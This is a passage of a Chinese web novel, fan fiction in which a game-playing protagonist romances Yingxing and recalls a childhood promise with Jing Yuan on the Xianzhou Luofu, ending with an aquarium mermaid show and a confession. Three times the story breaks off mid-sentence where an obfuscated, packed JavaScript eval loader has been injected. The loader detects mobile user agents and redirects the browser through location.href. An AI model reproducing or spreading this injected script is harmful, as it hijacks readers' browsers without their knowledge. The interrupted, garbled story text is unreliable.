回应他的,是青涩缠上的唇齿。 “应星哥,你怎么能这么想自己!” 鹤鸢一边咬一边愤恨地说。 “是不是有人在你面前说什么了……你怎么可能是拖累啊!那肯定是他们嫉妒心发作……是他们见不得你好!!” 咸涩的液体卷入唇齿,被一点点吞咽。 ——那是鹤鸢的眼泪? 好像也是他的眼泪。 “应星哥,你明明是个很优秀、是比所有人都厉害的天才。” “我不允许你这么想自己!” 毫无章法的吻落在眉间眼角、又再次同唇肉纠缠起来。 应星闭上眼,像刚才一样回抱。 皎洁的月光洒落,属于他的那一部分,一半被照耀,一半归于阴翳。 “我答应你就是了……”鹤鸢手忙脚乱地去亲他,“但你也要答应我,到时候不许拒绝!” 应星轻轻“嗯”了一声。 他不可能拒绝的。 幸福的滋味在他心头聚拢,又被清醒的风刀割裂。 落入泥潭。 11. 共通线(11) 晚餐结束后,早已错过了夜间星槎游览。 鹤鸢闷闷不乐地看着计划表,被应星随手抽走。 “世上没有能够完美完成的计划,下次再陪你去。” 人生也是这样,总会在以为要圆满进入下个阶段的时候,迎来意外。 他牵起鹤鸢的手。 “走吧,我送你回家。” 罗浮仙舟的治安很好,但作为鹤鸢的一日恋人,应星还是尽职尽责地开星槎把人送回家。 家门口,隔壁的景元翘首以盼,在看到鹤鸢下来时站直了身体。 “欢迎回家,小鸢。”他一如往常地说。 应星捏紧了手,“那我送你到这里?” 鹤鸢回握他的手。 “景元,早点睡吧。” “应星哥要不要上来喝杯水呢?” 顶着景元无法遮掩的目光,应星靠近些许,“好,正好我们再聊聊明天什么时候见面。” “小鸢……”景元想说些什么。 鹤鸢看向他,目光一如既往。 “景元,周一见。” 周一见。 景元无声回答,目送着两人走进院中,关上大门。 他回到自己的房间,洗漱后在床上翻来覆去,终究没能睡着,选择来到阳台。 阳台旁边的阳台,就是鹤鸢的房间。 小时候,他们经常用石子互相击打对方的窗户,询问对方是否入睡,然后再商量着谁翻栏杆过去。 晚风吹过,隔壁寂静无声。 属于应星的星槎已然不在,他今夜并未留宿。 鬼使神差的,景元用阳台积存的石子击打鹤鸢房间的窗户。 一阵悉悉索索地声音过后,穿着睡衣的鹤鸢推开落地窗,站在景元面前。 “有什么事?” 想见你这个理由显然不行,景元也不会傻到问鹤鸢刚刚和应星做了什么。 “……星天演武的事情,腾骁将军准了。”景元说。 想起近日从曜青那边传来的消息,他又说:“另外,星天演武可能提早开始。曜青那边传来消息,步离人正在集结。” 鹤鸢疑惑:“他们的战首不是刚刚被擒了,怎么集结的起来?” “按照曜青太卜司的观测结果,似乎有寿瘟祸祖的痕迹,推测是一名令使级别的敌人在做推手。”景元说。 战首以及战首体内的[赤月]都太重要了,他们必须要夺回来。 “……这样啊,那我能跟着去吗?” 有令使参与的战争可不多,鹤鸢心痒难耐。 要知道,战争约等于打架,打架约等于源源不断的属性和成就,对玩家来说是无法抗拒的诱惑。 “我找你也确实是为这件事。” 景元的声音变得有些沉重。 “腾骁将军去了一趟太卜司,询问本次的战况,”他顿了顿,“太卜大人说,在这场战争中,你会获得宝贵的机遇。” “这场机遇会给仙舟带来助力。” 感觉像是进了宗.教频道。 但鹤鸢愉快地接受了这个设定。 玩家的潜力就是无限的,获得机遇简直和吃饭喝水一样简单。 还未等景元问,鹤鸢就回答:“我去!” 他又说:“景元,我们的约定快要实现了。” 似是想起往事,景元的表情带着怀恋。 “是啊,我们的约定……” 那是一个很平常的午后,语文课作业是《我的梦想》,几乎每个学生都会写到这个题目。 鹤鸢写着作业,突然往景元那边挪了点,看到了标题上的几个大字—— 《我的梦想——成为一名将军》 鹤鸢当然不会幼稚的大声读出来,那肯定会掉好感度。 他就是揶揄的、用弯弯扭扭的声线读出来,又小声地念了一下开头,然后接上自己的话:“如果我当了将军,那一定会罩着我最最最好的朋友鹤鸢,让他能在罗浮仙舟、甚至整个仙舟联盟上为所欲为。” 景元停下笔,没有反驳他的话,反而点头答应了。 鹤鸢有些惊讶,但对方接下来的话让他觉得——不愧是景元。 “可以,但你也要加入云骑,让我有理由包庇你才行。” “那就是一起上战场了?”鹤鸢思索,“将军被你抢了,那我勉强当个骁卫吧,但我要和将军一样的权限!” 听着鹤鸢絮絮叨叨地安排好未来的事情,景元不自觉地露出微笑,将鹤鸢说得话加了上去。 如果他真当了将军…… “不过这个志向有点远了,先从一起成为罗浮战力新生代开始吧!” 鹤鸢很有兴致地安排起来,“仙舟不缺战争,我们先去打出名气,然后再被人发现潜力,慢慢培养……” 后面的话,景元记不清了。 时至今日,他只记得夏日的虫鸣并不扰人,那日的阳光也不刺眼,耳边的声音比偷偷吃到的冰淇淋还要甘甜。 那天的荔枝汽水也很甜。 后来,景元被剑首镜流发掘天资,提前加入云骑军,更是被内定为了下一任将军。 最初的消息传来时,景元还担心鹤鸢会不会生气。 他违背了约定,提前踏上了这条路。 但鹤鸢却是—— “好厉害……” “景元好厉害!” 充斥着羡慕、惊喜、高兴的眼眸在眼前徐徐绽开,仿若多彩的夜空。 鹤鸢摸着他身上的盔甲,惊叹的声音就没停下来过。 在父母那边受到的冷落,在鹤鸢这边被温暖了回去。 那天,两个身量还小的少年在狭窄的房间里一起试了盔甲,像将军一样、对着临时折起来的纸人发号施令。 破旧的小桌上还留着“挥斥方遒”的痕迹,鹤鸢临时做好的沙盘上插满红色和蓝色的旗帜,被永远保存在景元的箱子中。 约莫是累了,小少年们一起躺在地板上,看着那身鲜亮的盔甲。 “景元。” 鹤鸢突然说,“既然你提前超额完成任务,那我们把约定改一下吧。” 他转了个身,眼睛里还带着未消退的兴奋。 “景元先去战场上探路,我会努力跟上来、然后超过你的!” “到时候,我们再一决高下,看看谁杀的步离人多!” 景元正想说好,就听见鹤鸢又说:“不过…要是有什么机会和政策,记得推荐一下我。我的水平你是知道的,绝对不会给你丢脸!” “好。” “还有还有,你要是先当将军了,那罩着我的约定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147613|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可不许忘!” “好。” “还有……” “好。” 他都记得,不会忘的。 …… “这回能一决高下了!” 鹤鸢蓦然想起,原定的开幕仪式在下下周一,周一前的周末正好和景元“约会”。 要是提前了。 “没事,以后有的是时间。”景元先开口安慰。 长生种不仅拥有漫长的寿命,还有足够强大的身体,只要还有一口气,都能救回来。 那可不行! 景元好歹是他的竹马,别人有得东西,景元必须得有,别人没有的,景元也得有,怎么能缺了! 鹤鸢忽然压上栏杆,借力翻到了景元的阳台。 微风吹过他的发梢,带来馨香的气息。 忽然贴近的脸庞让景元恍惚,也让他错过了那一瞬的狡黠。 “今夜,就当是我给你的额外补偿。” 鹤鸢凑近景元的耳侧,轻轻呢.喃。 “我借着爱的轻翼飞过园墙,因为砖石的墙垣是不能把爱情阻隔的。爱情的力量所能够做到的事,它都会冒险尝试,所以时间与空间并不是问题。*” 景元笑着推开他的脸,“既然如此,这位罗密欧先生先下去,然后翻墙给我看如何?” “证明一下你的爱——” 鹤鸢痴痴地笑,忽然面对着景元张开手。 后腰靠上栏杆,身体弯折,像是液体一样从阳台上到掉下去。 景元瞳孔伸缩,立刻伸手,却什么都没抓到。 他向下望去,只看见鹤鸢安安稳稳地落地,朝他挥手。 ‘看着我。’ 鹤鸢对景元做出口型。 只见青年熟练又矫健地攀上院墙,像灵活的猫儿一样在上面走动。 不出一会儿,再度来到景元的附近。 他伸出手,“景元,景元,把你的头发垂下来。*” 景元斜睨他一眼,摇头,“我可舍不得让你变成瞎子。” “王子阁下,还是努力用自己的武力上来吧。” 鹤鸢笑嘻嘻地爬上来了,就是身上的睡衣沾了许多灰,脸上也沾了些。 景元拉住他的手,用手指擦掉灰尘。 两人像小时候一样,扭扭挤挤地进了房间,又一起进了浴室。 再次洗漱过后,时间接近凌晨两点。 鹤鸢打了个哈欠,和景元一起凑在新床上,挤着仅剩的被窝睡着了。 ……还好和应星哥约的十点,不然睡不够精力都没法回复全。 他往景元身上蹭了蹭,抱住热源。 密密麻麻的白色发丝成了他的枕头,拉他坠入温暖明亮的梦乡。 景元的手从手臂与身体间的空隙穿过,按住鹤鸢的脊背。 他的下巴搁在鹤鸢的头顶,鼻尖充斥着鹤鸢的气息。 他们很久没有一个被窝睡觉了。 再更久远之前,即便是夏天,他们也会不嫌热的挤在一个被子里,偷偷聊着白天发生的趣事,然后早晨一起踩点去上课。 真是让人怀念、怀念起来还是觉得快乐的时光啊…… 一起试穿盔甲的午后,燥热的天气与燃起的心火让他明白了一件事。 原来那叫做喜欢。 12. 共通线(12) 鹤鸢难得睡了懒觉。 他很少睡懒觉的,每回都是因为景元才会睡不够恢复精力的时间,然后要多睡一会儿。 都怪景元。 鹤鸢把自己埋在被窝里,有些贪恋这里的温暖。 景元端着早餐上来的时候,只看见一截发丝露在外面。 餐盘搁置在床头柜,手臂从床尾开始,探进被窝,抓住青年的脚踝。 “鸢鸢,起床了。” 鹤鸢动了动脚,踩在景元的手臂上,又被臂上的甲胄凉到,缩了回去。 “都怪你,又大晚上的吵我。” 怒气冲冲的语气。 不熟悉的人一定认为鹤鸢生气了。 “因为我很想把好消息告诉鸢鸢,可以原谅我这一次吗?” 不过是纸老虎罢了,随便软和几句就会恢复如常。 “我做了你爱吃的煎饼果子。” 鹤鸢鼻尖轻嗅,还闻到了豆浆的香味。 “那你先放手。” 他睁着水汪汪的眼睛看景元,刚起床时的那股慵懒感还未消退,手指抓着被子,只露着半张脸。 景元松手揉了揉他的头发,转身从衣柜里拿出衣服,放在床边。 “我先去上职了,碗就放在洗碗机里,或者放旁边就行,衣服给你准备好了。” 他走到门口,转身又看了一眼。 “明天见。” 鹤鸢抱着被子起床,半睁着眼对他点头,又伸出手挥了挥。 时间是早上八点,还有两个小时。 大概过了十分钟左右,鹤鸢才艰难地起来。 游戏里的DEBUFF影响实在太严重了,睡不够又不喝精力药水,眼皮就会上下打架,根本起不来。 等他完全收拾好的时候,时间已经来到了九点。 他看向日程表,匆匆忙忙地出门打车,先一步去水族馆准备。 周日上午的水族馆人不算多,鹤鸢找到之前约好的负责人,将自己的装备先寄存进去,又拿出辛辛苦苦考的证书。 天杀的,美人鱼证为什么不能用属性点比拼迅速跳过,还要他真的学会? 要不是为了收集度、要不是因为这个证能拿来……咳咳! 鹤鸢怀疑,等退出游戏去现实世界,说不准他能一次性通过。 但现实世界好像用不上…… 总之,拜托好负责人后,鹤鸢又匆匆折返到家,等着应星上门。 九点五十,应星开着星槎,准时来到鹤鸢家门口。 鹤鸢正在睡在阳台的躺椅上晒太阳,顺便补点精力值。 应星来的时候,系统适时跳出提示。 鹤鸢捞起旁边的外套就往楼下跑,一路扑进应星怀中。 他整个人都看起来很兴奋,好像今天发生什么喜事。 应星好奇:“小鸢今天很开心么?” 鹤鸢抱着他的胳膊点头,“嗯,一会儿有个惊喜要给应星哥!” “……所以你说的那个人根本不存在对吧?”应星将路上买的鸢尾花递过去。 他要是再看不出来,那就真的傻透了。 之前没意识到,不过是没怀疑罢了。 费尽心思只为了和他约会一天……很不像鹤鸢的风格。 鹤鸢从来都是干脆利落,一口气解决的。 应星以为,按照鹤鸢的性格,怎么也该是直接闯进他家里告白的那种。 还是被以往的风格误导了。 “我要是直接约应星哥,应星哥还会出来吗?”鹤鸢反问。 他接过花,心里的郁气稍作缓解。 ——要不是发现直接找你告白会被解除朋友关系甚至闹到绝交的地步,他哪里要这么麻烦! 鹤鸢想起自己碰的一鼻子灰,就忍不住踩了一下应星的脚。 应星实话实说:“那我大概会躲你,甚至跑回朱明。” “那不就得了?”鹤鸢换了一边,又偷偷踩了一脚。 给应星踩对称了。 应星:“你不必为我花费这些心思……” 以成年人的角度来看,鹤鸢的花费与收获不成正比。 短生种的上限就在那里,和他在一起真没什么好处,单纯的喜欢也维持不了太久。 “喜欢为什么要计较得失?”鹤鸢不解,“如果我的每一份喜欢都要收回等价的回报,那这还叫喜欢吗?” 那直接叫投资算了。 无聊。 应星默然。 因为…他就是因为身上还有价值,才能走到现在啊。 他能被怀炎将军看见、被收为徒弟,也是托了价值的福。 如果他没有这份天赋,即便师父愿意收下他,那他身边的人会怎么看他呢……? 现在的应星不在乎,不代表以前的应星不受影响。 所以在遇见鹤鸢、在鹤鸢提出那个离谱的赌约时,应星才会抱着一种玩闹的心态答应下来。 现在说这些也晚了。 事已至此,先看看水族馆能安排什么惊喜,别让鹤鸢又整出什么大动静。 应星拥有全仙舟联盟最贫瘠的娱乐生活,将自己的全部身心都奉献给了工匠事业。 在他眼中,水族馆就是看鱼。 那去鳞渊境看不是更好吗? 他又搜了一下水族馆的信息,大数据只给他推送哪些鱼类可以作为锻造材料。 应星:“……” 他偏头看向神神秘秘的鹤鸢,索性不猜了。 就让惊喜留到最后吧。 到达水族馆时,里头的人流量算是正常水平,并不拥挤。 鹤鸢拉着应星到处转悠,偶尔发现什么惊奇的鱼类时发出惊呼,还拿出玉兆缠着应星给他拍照。 他们还摸了海星的角。 据说一起摸的情侣能永远在一起。 看着鹤鸢期盼的表情,应星还是伸手一起摸了。 黏糊糊的。 两个人一起去洗了手。 应星难得开了玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147614|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑:“洗掉是不是就不作数了?” 鹤鸢立刻瞪他,用湿淋淋的手捂住他的嘴,“不许乱说!” 青年用一种十分笃定的语气说:“我们会永远在一起的。” 应星冷不丁地问:“那我死后呢?” 他依然能坦然的面对死亡,那鹤鸢呢? 应星是短生种,注定是朋友中最早走的那一个。 他的种族是公开信息,朋友们也都知道,他自己除了复仇的夙愿……也没什么好留恋的了。 要是和鹤鸢在一起,应星会忧心鹤鸢的以后。 长生种只是身体被赐福,他们的精神力量和短生种是一样的。 如果说死亡是短生种的归宿,那么魔阴身——也就是发狂失去理智,是长生种的宿命。 他的死亡…会给鹤鸢带来什么影响么?他不愿将自己看得这么重,但总是会忍不住的想。 应星希望鹤鸢能活到八百岁。 这是仙舟上的最高纪录。 “你死后…我就找新的男朋友治愈我!”鹤鸢赌气地说,“所以你要给我活得久一点、越久越好,不然我会连着找七八个男朋友到你坟墓前秀恩爱!” 天杀的,这个世上怎么还有这种盼着自己死的NPC啊! 应星笑出声。 他也用湿淋淋的手捏住鹤鸢的脸,“小鸢,下次说话的时候控制一下表情。” “刚刚的话,没有一点说服力。” 完全藏不住表情和心思呢。 “不过你的提议…我觉得很好,”应星说,“希望你能有几百个男友,都来我的墓前转一转。” 能换那么多男友,一定心境豁达,能活很久很久。 鹤鸢生气地往他脸上洒水。 “应星哥!”青年的眼周有些泛红,“你不要说这种话了!” 鹤鸢真心实意地希望应星能好好活下去。 他见不得好不容易从污泥中爬出来的人无法享受更好的生活。 应星是游戏中的数据,应星哥是他很喜欢的角色。 如果可以,鹤鸢希望这个存档能一直留着,每次上来,都能看见喜欢的角色们。 “好好好,我不说了。” 应星用纸巾擦干两人肌肤上的水,再手拉手的去下个展馆。 【此处有美人鱼表演】 展馆旁的告示牌上有写。 应星和鹤鸢走进展馆,到处逛了一圈。 或许是他的坏运气影响到了鹤鸢,他们刚好错过了一次,下一次在下午。 应星已经习惯了,他逛完这一圈打算走时,鹤鸢突然拉住他。 “应星哥,我要去取一下我的惊喜。” 青年很认真地说:“你不要乱走哦。” 应星学着他的样子,很认真地点头。 “我会听小鸢老师的话,乖乖站在这里不乱走的。” 鹤鸢红着脸落荒而逃。 可恶!一会儿一定要让人拍下他惊艳亮相时应星哥的表情! 13. 共通线(13) 美人鱼的表演结束后,这处展馆便显得寂静,只有稀稀疏疏的人流进来,发现错过表演后又失望离去。 应星站在最大的玻璃前,望着里头的鱼群和珊瑚出神。 鹤鸢的惊喜是什么呢? 应星发觉了自己的期盼。 浓重的、无法忽视的期望与惊喜在心头蔓延,让他无法专心思考。 多彩的鱼群来来往往,自远处而来,又翩然离去。 顶上似乎传来了一阵落水声。 应星抬头。 隔着玻璃的、遥远的光圈处,似乎多了一丝梦幻般的蓝紫色。 像是一块颜料落入水中,不断晕染散开,将周身的一切染上自己的颜色。 应星走进了一步。 光圈处,那抹蓝紫色先是变小,随后又不断扩散,让白昼染上这份梦幻。 当那抹颜色越来越近时,应星才看清—— 那是一条绮丽的鱼尾,一条该属于美人鱼的鱼尾。 斑斓的鳞片以银白为底色,大片大片的铺开蓝紫粉三色,梦幻与绮丽交织。 鱼尾轻轻摆动,丝毫看不出膝盖的痕迹,仿佛他生来就是一条美人鱼。 他是鹤鸢。 应星的视线从鱼尾往上,鹤鸢也舒缓地游来。 裸.露的上半身披着层层叠叠的轻纱,大臂上带着固定用的金环,间错缀着珍珠。 纱衣在水中漂浮,组成一朵盛放的花,又像是保护他的鳞片。 鹤鸢游近,紧抿的双唇勾起微笑。 他朝应星伸手,手掌贴在玻璃上。 掌心的纹路清晰可见,仿佛他们之间没有丝毫空隙。 应星也贴上了玻璃。 鹤鸢却在他刚刚触碰到时,收回了手。 美人鱼无法说话,只是对应星眨眨眼,又指了指自己。 高举的双手像是一声信号,伫立没多久的鹤鸢又动了起来。 应星的视线随着他移动,看着他穿越一个个怪石嶙峋的石柱与珊瑚,看着他跟着鱼群游动,忽远忽近,看着他偶尔游到自己身边,用手指轻挠自己的掌心。 即便应星感受不到,但他的掌心却传来了酥麻感。 “我愿意将我的灵魂分享给他。*” 看着如鱼得水的鹤鸢,应星的心中浮现这句话。 这里的一切都成了鹤鸢的舞台,让他展示自己身上的一切美好。 水流划过他纤细的腰,鱼群像腰带一样环绕一圈又离去。水光色的轻纱偶尔飘起,遮挡鹤鸢的面庞,也将珍珠般的躯体展现。 他是一条回到海中的人鱼,在同海中的生灵肆意玩闹。 应星成了误入对方领地的旅人,痴迷地看着这一切。 他的脚尖抵着最下方的金属地基,两只手都贴在了玻璃上。 他开始期盼鹤鸢的每一次到来。 ——这是鹤鸢为他准备的【惊喜】。 当这一认知突如其来的闯进时,应星无法控制自己的心跳。 胸口中满是溢出的温暖,心脏就像鹤鸢说得那样,快要爆炸了。 他的一切理由、一切反抗都显得脆弱不堪。 ——你真的拒绝过吗? 应星问自己。 昨天意识到鹤鸢的意图、今天还跟着出来、现在又为眼前的场景心动……他其实从没拒绝过。 昨夜亲吻的触感还残存在唇上,像是火焰炙烤着他的内心。 属于人鱼的手掌又一次贴上时,应星静静地注视对方。 缱绻温柔的视线穿过玻璃,落在鹤鸢身上。 人鱼低眉浅笑,摆动鱼尾,连带着身体一起摆出一个大大的心形图案。 属于人群的惊呼声自身后传来,熙熙攘攘的声音不断跃入耳膜。 本以为错过表演的游客又一次进来,恰好看到了鹤鸢刚刚摆好的姿势。 他们惊喜地用玉兆拍摄,一时间,快门的声音与闪光铺满这一片空间。 人鱼像是受惊了一般,用鱼尾挡住自己的面庞。 鹤鸢手指微动,指向一个方向,随后沿着边缘游动。 应星与他心有灵犀一般,快步跟上。 像是进入了真正的童话世界。 “妈妈,小人鱼最后死了吗?”懵懂的小应星询问他的母亲。 今天的睡前故事是《海的女儿》。 母亲温和的手揉乱他的发丝,“没有哦。小人鱼自己领悟了平常人的爱情,有了自己的灵魂,升入天国了。” “但是她好痛啊,”小应星伸出自己因为顽皮而被割裂的手指,“踩在刀尖上行走,一定很痛吧。” 他又扒拉过童话书,翻到小人鱼还没变成人的那一页插图,“而且…小人鱼是人鱼的时候,明明很好看啊……为什么一定要变成人呢?” 如果他是王子,才不会让小人鱼受这些苦。 他会把自己的灵魂和小人鱼分享,让她能升上天国,不用舍弃自己的尾巴与嗓音。 很多时候,大人总是答不上小孩子的问题。 小应星的问题又格外稀奇古怪。 母亲只是帮他按了按被角,“这个问题,等应星长大了自己去找吧。” ‘妈妈,我好像找到答案了。’ ‘但我好像……差点成了自己讨厌的王子。’ 应星跟着鹤鸢,穿过一个个区域,视线永远停留在一墙之隔的人鱼身上。 他像是一名陌生的旅客,与在当地邂逅的青年一同游览。 直至楼梯处,鹤鸢往上指了指。 应星心神领会,踏上台阶。 走上的那一刻,鹤鸢立刻摆摆尾巴,一溜烟地跟着鱼群往上游。 像是在和应星比赛。 应星呼出一口气,像是做了什么决定,健步如飞地往楼梯上跑。 楼梯上摆着的【请勿进入】被推到一旁,池子旁的长椅上坐着一个穿着泳衣的教练,正聚精会神地看着监控,时不时发出起哄的声音。 应星的声响瞒不过他。 教练转身,在看到来人时露出一个揶揄的笑。 “好看吗?” 他看向正在朝这边游的鹤鸢,状似无意地透露:“这家伙连着一个月都来练习,进步神速,我都想雇佣他留下来表演了。” 就算是星际时代,人们对美的追求也从未停止。 就冲着鹤鸢这张脸,他只要能在水下憋气,什么动作都不用摆,也会有源源不断的人前来观看。 一个月说长不长,说短不短。 于鹤鸢而言,应该算长的了。 这世上还没有什么难题能困扰他一个月,也只有精益求精、想要展现更好一面的想法能让他练习这么久。 几滴水花溅到应星的脚边。 出水的那一刻,鹤鸢咳嗽了几声,又用手抹了把脸,将湿.漉漉的刘海拨上去,露出光洁的额头。 他的脸上带着憋气太久而泛起的红晕,又有海水进入眼球而洇红的眼尾。 看起来像是哭了。 鹤鸢甩了甩发上的水珠,双手撑着池壁,水润的眼眸向上望。 一副懵懂无知的模样,与应星脑海中对人鱼的幻想重叠。 多彩的鱼尾在水下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147615|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆动,波光粼粼,将他吸入不切实的梦。 应星蹲下身,双手扣住鹤鸢的手臂,拉起这条最漂亮的人鱼。 洁白的浴巾被扯下,盖在鹤鸢的头顶,也盖住了应星。 应星的力量出奇的大,一只手就轻松地把鹤鸢抱起。他不顾那些还未擦干的水珠,将鹤鸢抱在怀里。 灼热的呼吸洒在颈窝,吹去一些水珠,冷热交替,鹤鸢在他怀中瑟缩了一下。 湿.漉漉的手环住应星的肩膀,略带沙哑的声音响起。 “应星哥,你喜欢这个惊喜吗?” “喜欢。”应星几乎是立刻回答,比以往的每一次都要坚定。 “……对不起。”细弱蚊蝇的声音在鹤鸢的耳畔出现。 “欸?”鹤鸢疑惑地抬头,嘴唇快要贴到应星的下巴。 他身上的水快把应星浸.湿大半,两个人都像是进水泡了一遍。 应星哪里对不起他了?鹤鸢想破脑袋也想不出。 “你为我做了很多事。” ‘我却什么都没回应。’ 他固执地认为自己想的那条路才最适合鹤鸢,却忽略了最重要的事。 鹤鸢的想法才是最重要的,鹤鸢的心情是最重要的。 他为什么要因为自己那可笑的顾虑而不断推拒鹤鸢。 这样的他,和小时候讨厌的王子又有什么区别。 他甚至为自己的所作所为找了个绝对道德的借口。 “都是我自愿做的,哪里扯得上‘对不起’了?”鹤鸢满脸茫然。 他又说:“谁规定一个人必须要事事有回应?如果这样的话,那我每天光是回消息就回不过来了,哪里有时间去做别得事情。” “按照这个道理,应星哥岂不是每单都要接?那你还挑什么价格?”鹤鸢振振有词,巧妙比喻。 应星唇角上扬,阖上的双眼挤出一滴泪。 滴在鹤鸢白腻的肩膀,与水珠混在一起,了无踪迹。 “谢谢你,小鸢。” 鹤鸢抱紧他,手掌轻轻拍着宽阔的脊背,仰头在他的下巴轻啄一口。 “高兴一点嘛,应星哥。我准备这些,是为了让你开心啊!” “我很高兴。” 应星将他往上抱了点,让青年不必仰视他。 那样太累了。 “小鸢,今天是我人生中最快乐的一天。” 应星深吸一口气,坚定地与鹤鸢对视。 “其实,我一直都很喜欢你。” 从见到你的第一眼,从我和你的赌约,从你在台下为我打气,从很多很多的时候开始—— ‘我已经喜欢你很久了。’ 【NPC[应星]已对你敞开心扉,下次去找他的时候,可以试试求婚了!】 好喜欢应星哥。 鹤鸢偷偷决定,要在这个游戏世界中一直陪着应星哥,陪着他到生命尽头。 “那、那可以亲一下么?”鹤鸢满怀期盼地问。 他一直没有体会过亲吻的感觉,昨夜还是第一次,各种意义上的。 虽然有点缺氧、有一点点痛,但心里暖暖的,身体也轻飘飘的,有种踩在云端的感觉。 “……先收拾一下衣服。” 对哦,他们现在一起湿了。 鹤鸢抓下浴巾擦拭,转头看向监控的方向。 负责这里的教练不知道什么时候溜了,还留了张纸条—— 【监控已关,别太过分。】 鹤鸢:“……” 鹤鸢:“不如我们先回去吧。” 应星笑着点头。 14.共通线(14) 鹤鸢和应星简单擦拭后,坐着星槎回了鹤鸢家中。 有仙舟的高科技家电在,两人身上的衣服很快干爽,一起窝在客厅的沙发上买菜。 买好会有机巧鸟——仙舟的智能快递员送来。 鹤鸢最初登入游戏时,为了练习[烹饪],一口气买了一大堆菜,机巧鸟占满了整个院子,引得当时还是小孩的景元围观。 小景元趴在墙头,震惊地看着他。 “这么多菜你用得完吗?” 他家里三口人,一天也用不了这里的一个小角落。 鹤鸢一个人要怎么用? 当时的鹤鸢神秘一笑,当着小景元的面,把这些东西全都收进背包。 当然是靠一个格子上限[9999]的背包来储存啊! 一点都不会坏。 他挥挥衣袖回到屋内,完全不顾小景元瞪大的双眼。 想起往事,鹤鸢突然笑了笑,引来应星的侧目。 “喜欢这个菜?”他问道。 鹤鸢摇头,“没有,只是想到了有趣的事情。” 他绘声绘色地将自己小时候的事情讲给应星听。 游戏的世界观中存在[星神]这一物种,代表某个概念的集合体,玩家的背包自然而然的融入进去。 应星听完后,先是笑,随后意识到不对劲。 “十五年前…小鸢你才五岁吧?!” 哪个家庭会让五岁的孩子做饭、锻炼厨艺? 这得是多心大的家长啊? 原本在听到鹤鸢与景元之间的事情时,应星还有些嫉妒。 那是属于两个少年的十五年,旁人怎么都无法插足。 他们亲密无间、无话不谈,还拥有前往对方最私密空间的钥匙。 但对鹤鸢的心疼很快占据了上风,将其余情绪吞噬殆尽。 应星记得自己五岁的时候,顶多跟在父亲身后帮他拉拉风箱,看着一块平平无奇的铁块被锤炼成光华的模样。 那是个很享受的过程。 他忽然发现,自己一点都不了解鹤鸢。 他对鹤鸢的一切了解,都只有这两年。 了解鹤鸢的生长环境,确实很有必要。 应星无法想象,自己如果就这样离开…鹤鸢会多么伤心。 鹤鸢从小就被家长扔在家里,还能成为这么优秀的人,对感情不明晰……简直是再正常不过的事情! 大部分人的一生中,获得的最初的、最无私的爱,来源于父母。 从父母那边获得爱、理解爱、学会爱,将爱传承下去。 鹤鸢没有感受到来自父母的爱,却无师自通了如何去“爱”人。 即便他对自己没有“爱”,对任何人都没有“爱”。 但这已经不重要了。 应星忽然抱住鹤鸢,额头与对方轻贴。 鹤鸢两眼茫然。 五岁做饭…是什么奇怪的事情吗? 现实中的他,差不多也是这个时间点自己学会了。 小说中的男女主都这样,那他这样不也很正常吗? 他拽住应星的衣领,懵懂地将唇贴在男人的面颊。 “做饭很简单的,”鹤鸢想了想,又补了一句,“很好学的。” 应星更加抱紧了他,“我来做吧,这一顿。” “欸?” “麻烦也给我一点表现竞争力的空间,可以么?”应星说。 鹤鸢疑惑地应下,随后疑神疑鬼地问: “应星哥表现竞争力去干嘛?” 应星在他额上轻啄,“当然是让你看到我优秀的一面。” “我已经看到了。”鹤鸢说,“应星哥在我心里,一直在闪闪发光。” ……受不了了,他怎么说起情话来这么自然? 应星叹口气,“就当是我也想为你做点什么吧,恋爱不能你一个人付出。” 鹤鸢像是明白了什么,点头。 趁着应星去厨房做菜,鹤鸢紧紧打开论坛,找到自己收藏的帖子。 【爱情三十六计】【如何迂回攻略一个一开始拒绝你的人】 游戏论坛中只有属性相关的攻略,恋爱线的话,由于每个存档的随机角色都不一样、也没有一个大概分类,便很少有这一方面的攻略。 就算有,大多数也只是教你打出一些【猎奇】的结局,之前的【多人结局】就是其中一类。 这个倒是在各个人物之间共通了。 鹤鸢只能求助一些现实中的恋爱论坛。 他给这个帖子点赞,又打赏了一个小礼物,留言道: [虽然经历了一些波折,但我成功追到喜欢的人了!] 应星哥是他喜欢的“人”。 没毛病! 鹤鸢想了想,又关注了这个感情博主。 博主的【爱情三十六计】系列还在持续更新,说不准哪天就用上了。 至少用在应星哥身上真的成功了。 不过,这好像也侧面证明这个游戏的AI已经到了超级拟人的地步。 喜欢这个游戏! 刚刚应星哥抱着他的时候,感觉浑身暖呼呼的。 鹤鸢想了想,悄悄用玉兆拍了张应星哥在厨房洗菜的背影。 发布朋友圈。 【鸢飞:应星哥给我做饭~[红心][红心][红心]】 底下立刻出现几个点赞和评论。 